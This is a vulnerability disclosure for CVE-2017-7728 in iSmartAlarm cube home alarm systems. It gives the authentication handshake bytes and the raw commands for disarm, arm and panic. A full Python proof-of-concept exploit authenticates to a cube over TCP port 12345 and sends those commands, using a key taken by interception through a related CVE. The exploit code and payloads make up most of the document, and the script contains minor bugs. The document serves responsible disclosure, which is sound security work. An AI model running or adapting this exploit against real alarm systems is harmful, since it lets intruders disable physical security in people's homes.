CVE-2017-7728 - Authentication Bypass allows alarm's commands execution in iSmartAlarm

- 4 mins
[+] Credits: Ilia Shnaidman
[+] @0x496c on Twitter
[+] Source:
http://dojo.bullguard.com/blog/burglar-hacker-when-a-physical-security-is-compromised-by-iot-vulnerabilities/
 
 
Vendor:
=============
iSmartAlarm, inc.
 
 
Product:
===========================
iSmartAlarm cube - All
 
iSmartAlarm is one of the leading IoT manufactures in the domain of smart alarm systems.
It provides a fully integrated alarm system with siren, smart cameras and locks.
It functions like any alarm system, but with the benefits of a connected device: alerts pop up on your phone,
offering you full remote control via mobile app wherever you are.
 
 
Vulnerability Type:
======================
Authentication Bypass
 
 
CVE Reference:
=============
CVE-2017-7728
 
 
Security Issue:
================
On iSmartAlarm cube devices, there is
an authentication bypass.
Which can lead to remote execution of alarm's commands; setting the alarm on/off and activating the alarm siren.
 
 
Additional Information:
===============
1. First the app and the cube authenticate by using sophisticated 4 way
handshake.
Looks like that:
App     ISAT\x01\x00*3\x01\x00*7
Cube    ISAT\x02\x00*3\x01\x00*3\x10\x00*3 + "Cube generated Secret Key"
2. Encryption algorithm: With the "Secret key" and the IPU (encryption key)
the app decrypts a key using XXTEA encryption algorithm (btw, ismartalarm
implementation is broken).
After that, the algorithm takes the output of the
XXTEA enc and then reverses the output.
This is the "new key"! So now, we got the encryption key,
and we can do whatever we want with the alarm.
3. The app sends command as follows to proceed with the authentication:
App    ISAT\x03\x00*3\x01\x00*3\x10\x00*3 + "new key"
Cube   ISAT\x04\x00*3\x01\x00*3\x01\x00*3\x01
4. NOW WE ARE AUTHENTICATED.
we can now send one of the following commands to the cube
Disarming the alarm "Disarm mode":
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x002
Arming the alarm "Arm mode":
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x000
Activate alarm's siren "Panic mode":
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x003
 
 
Attack Vectors:
===============
After authentication, using the above protocol will allow full control
of the alarm.
 
When iSmartAlarm's mobile app connected to the same network as the iSmartAlarm's cube,
their authentication and then communication are made on port tcp/12345 in PLAIN TEXT.
Obtaining encryption key is done by using CVE-2017-7726. After setting the MITM 
a POST request is made to the following api:
https://api.ismartalarm.com:8443/api/GetIpuEnr.ashx
From there an attacker can obtain the encryption key.
After obtaining the encryption key, using the above protocol will allow an
attacker a full control over the alarm system.
 
 
PoC:
===============
#!/usr/bin/python
# auther: Ilia Shnaidman
# @0x496c on Twitter
 
# python27
import socket
import struct
 
# - - - - - - -
ISMART_SYN = 'ISAT\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
ISMART_SYN_ACK = 'ISAT\x02\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00'
ISMART_ACK_PREFIX = 'ISAT\x03\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00'
ISMART_SUCCESS_ACK = 'ISAT\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01'
ISMART_ALARM_DISARM = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x002'
ISMART_ALARM_DISARM_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00200'
ISMART_ALARM_ARM = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x000'
ISMART_ALARM_ARM_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00000'
ISMART_ALARM_PANIC = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x003'
ISMART_ALARM_PANIC_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00300'
DELTA = 0x9e3779b9
IP = '1.2.3.4'
ISMART_PORT = 12345
# retrieve ismartalarm key using CVE-2017-7726,
# and search for /GetIpu.ashx api
ISMART_KEY = ""
MTU = 1450 
# - - - - - - -
 
def decrypt_in_place(data,key):
    #data_out = [0,0,0,0]
    key_u = struct.unpack('>IIII', key)
    data_u = struct.unpack('>IIII', data)
    data_u = [i for i in data_u]
    if len(key_u) != 4:
        return None
    if len(data_u) != 4:
        return None
    y = data_u[0]
    sum = (6 + (52/4)) * DELTA
    l = 4
    for i in xrange(19):
        e = (sum >> 2) & 3
        for p in xrange(3,0,-1):
            z = data_u[p-1]
            y = (data_u[p] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) + (key_u[(p&3)^e]^z)))&0xffffffff))&0xffffffff
            data_u[p] = y
        z = data_u[l-1]
        y = (data_u[0] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) + (key_u[(0&3)^e]^z)))&0xffffffff))&0xffffffff
        data_u[0] = y
        sum = sum - DELTA
    return data_u
 
def revarr(arr):
    n_arr = [0]*16
    for i in xrange(4):
        n_arr[i] = arr[3-i]
        n_arr[i+4] = arr[7-i]
        n_arr[i+8] = arr[11-i]
        n_arr[i+12] = arr[15-i]
    return "".join(n_arr)
 
def ismartalarm_connection():
    ismart_so = socket.socket()
    ismart_so.settimeout(5)    
    ismart_so.connect((IP, ISMART_PORT))
    ismart_so.send(ISMART_SYN)
    so_recv = ismart_so.recv(MTU)
    if ISMART_SYN_ACK == so_recv[:16]:
        ismart_secret = so_recv[16:]
        key = ISMART_KEY
        data_dec = decrypt_in_place(revarr(ismart_secret), revarr(key))
        data_dec_rev = revarr("".join(["{0:0{1}x}".format(i,8) for i in data_dec]).decode("hex"))
        ismart_so.send("%s%s" % (ISMART_ACK_PREFIX, data_dec_rev))
        so_recv = self.ismart_so.recv(MTU)
        if ISMART_SUCCESS_ACK == so_recv:
            # We are authenticated
            return ismart_so
    return False
 
def ismart_commands(command):
    # Get authenticated connection to ismartalarm
    ismart_so = ismartalarm_connection()
    if not ismart_so:
        # we failed to authenticate
        return False
    if not command:
        return False
    if "arm" is command:
        print "[+] Sending arm command"
        ismart_so.send(ISMART_ALARM_ARM)
        so_recv = ismart_so.recv(MTU)
        if ISMART_ALARM_ARM_ACK == so_recv:
            print "[!]    Success! iSmart Alarm system is ARMED!"
    elif "disarm" is command:
        print "[+] Sending disarm command"
        ismart_so.send(ISMART_ALARM_DISARM)
        so_recv = ismart_so.recv(MTU)
        if ISMART_ALARM_DISARM_ACK == so_recv:
            print "[!] Success! iSmartAlarm system is disarmed!"
    elif "panic" is command:
        print "[+] Sending panic command, close your ears :)"
        ismart_so.send(ISMART_ALARM_PANIC)
        so_recv = ismart_so.recv(MTU)
        if ISMART_ALARM_PANIC_ACK == so_recv:
            print "[!] Success! iSmartAlarm system is in panic mode!"
    return True
 
 
 
Network Access:
===============
Remote
 
 
Severity:
=========
High
 
 
Disclosure Timeline:
=====================================
Jan  30, 2017: Initial contact to vendor
Feb  1,  2017: Vendor replied, requesting details
Feb  2,  2017: Disclosure to vendor
Apr  12, 2017: After vendor didn't replied, I've approached CERT
Apr  13, 2017: Confirmed receipt by CERT and assigning CVEs
July 05, 2017: Public disclousre
Ilia Shnaidman

Ilia Shnaidman

rss facebook twitter github youtube mail spotify lastfm instagram linkedin google google-plus pinterest medium vimeo stackoverflow reddit quora